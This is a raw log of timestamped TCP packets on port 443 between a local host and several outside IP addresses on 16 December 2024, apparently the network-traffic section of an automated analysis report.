Dec 16, 2024 16:14:28.902695894 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.902743101 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.903856039 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.904301882 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.913549900 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.913573027 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:29.188774109 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.192657948 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.194602966 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.194644928 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.204226017 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.207741022 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.207766056 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.213956118 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.214138985 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.214148045 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.225838900 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:29.225982904 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:29.226747990 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.227845907 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.227854967 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.240497112 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.240626097 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.240634918 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.254086018 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.254138947 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.254148960 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.312525034 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.312653065 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.312711954 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.312731028 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.314047098 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.320928097 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.371648073 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.380920887 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.385540009 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.385624886 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.385644913 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.387734890 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:29.387756109 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:29.388751030 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:29.396821022 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.397094011 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.397104979 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.409847975 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:29.410377979 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.410443068 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.410453081 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.424165964 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.424240112 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.424257994 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.438286066 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.438366890 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.438378096 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.451368093 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:29.451468945 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.451528072 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.451536894 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.465114117 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.465174913 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.465184927 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.478698015 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.479842901 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.479851961 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.491789103 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.493627071 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.493716955 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.493729115 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.495846987 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.503515005 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.515240908 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.515950918 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.515983105 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.527117014 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.527863979 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.527874947 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.538916111 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.538975954 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.538986921 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.564045906 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.564114094 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.564146042 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.568142891 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.568231106 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.568289995 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.568300962 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.571840048 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.576698065 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.584445000 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.585768938 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.585848093 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.585859060 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.587842941 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.592550993 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.600023985 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.600142956 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.600208998 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.600218058 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.603840113 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.607530117 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.615037918 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.615082979 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.615092039 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.622814894 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.622915983 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.622970104 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.622978926 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.623110056 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.630189896 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.637790918 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.637844086 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.637852907 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.647108078 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.647233963 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.647310019 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.647319078 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.647361994 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.653239012 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.660486937 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.660577059 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.660648108 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.660656929 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.663835049 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.668286085 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.675693989 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.675839901 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.675929070 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.675962925 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.679835081 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.683572054 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.690922022 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.691112995 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.691186905 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.691198111 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.691828012 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.698455095 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.706027031 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.706068039 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.706093073 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.706103086 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.706197977 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.713469982 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.720758915 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.720983982 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.721052885 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.721062899 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.721105099 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.728116035 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.734904051 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.735053062 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.735120058 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.735131979 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.735831022 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.741928101 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.755827904 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.755877018 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.755923033 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.755934000 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.755980015 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.755987883 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.759001970 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.759063005 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.759072065 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.760490894 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.760551929 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.760560989 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.765403032 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.765453100 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.765461922 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.770008087 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.770064116 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.770072937 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.775141954 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.775202990 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.775212049 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.779301882 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.779371977 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.779381037 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.784029007 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.784092903 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.784101009 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.788485050 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.788578033 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.788585901 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.789134026 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.789191008 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:29.789295912 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:29.822536945 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.822571993 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:29.822706938 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.822798014 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.822860003 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:29.822990894 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.823002100 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.823013067 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:29.823127031 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:29.823159933 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:30.571988106 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:30.572149992 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:30.572227001 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:30.575198889 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:30.577430964 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:30.672560930 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.672588110 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:30.672698021 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.673083067 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.673122883 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:30.673187971 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.673301935 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.673319101 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:30.673479080 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.673491001 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:30.871233940 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:30.871299028 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:30.871402025 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:30.872030973 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:30.872061014 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:31.033775091 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.034317970 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.034332037 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.035855055 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.035923958 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.036638021 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.036721945 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.036794901 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.037014008 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.037036896 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.038147926 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.038902998 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.039088011 CET	443	49777	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.102118969 CET	49777	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.247332096 CET	443	49776	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.247407913 CET	49776	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.887502909 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.887928963 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.978950024 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.978972912 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.979166031 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.979181051 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.979600906 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.980417967 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.980433941 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.980479956 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.981251955 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.981333017 CET	443	49779	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.981565952 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.981658936 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.058753014 CET	49779	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.106046915 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.106072903 CET	443	49778	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.240586042 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:32.240693092 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:32.240714073 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:32.243848085 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:32.260649920 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:32.260663986 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:32.261077881 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:32.262634993 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:32.292736053 CET	49778	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.303364038 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:32.614753962 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:32.614818096 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:32.614895105 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:32.615333080 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:32.615350008 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:33.078140974 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.078211069 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.078269958 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.078294992 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.078360081 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.078408957 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.078408957 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.271050930 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.271110058 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.271162987 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.271162987 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.271198034 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.271226883 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.271250010 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.323296070 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.323369026 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.323409081 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.323426962 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.323436975 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.461029053 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.461096048 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.461152077 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.461199999 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.461229086 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.498203993 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.498235941 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.498284101 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.498290062 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.498312950 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.498327017 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.498359919 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.498387098 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.498387098 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.535290956 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.535339117 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.535350084 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.535367012 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.535383940 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.535383940 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.535427094 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.535460949 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.551502943 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.551549911 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.551563025 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.551606894 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.551606894 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.551644087 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.551680088 CET	443	49780	162.125.65.15	192.168.2.4
Dec 16, 2024 16:14:33.551706076 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.551733971 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.567646027 CET	49780	443	192.168.2.4	162.125.65.15
Dec 16, 2024 16:14:33.814496994 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:33.814558983 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:33.814619064 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:33.822463989 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:33.822493076 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:33.994566917 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:33.995501041 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:33.995573044 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:33.995945930 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:33.996016979 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:33.996546030 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:33.996609926 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:34.003914118 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:34.003988981 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:34.193532944 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:34.193579912 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:14:34.300132990 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:14:35.238811016 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:35.291985035 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:35.292018890 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:36.439579010 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:36.439593077 CET	443	49794	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:36.439651966 CET	49794	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:36.439656973 CET	443	49794	162.125.69.18	192.168.2.4
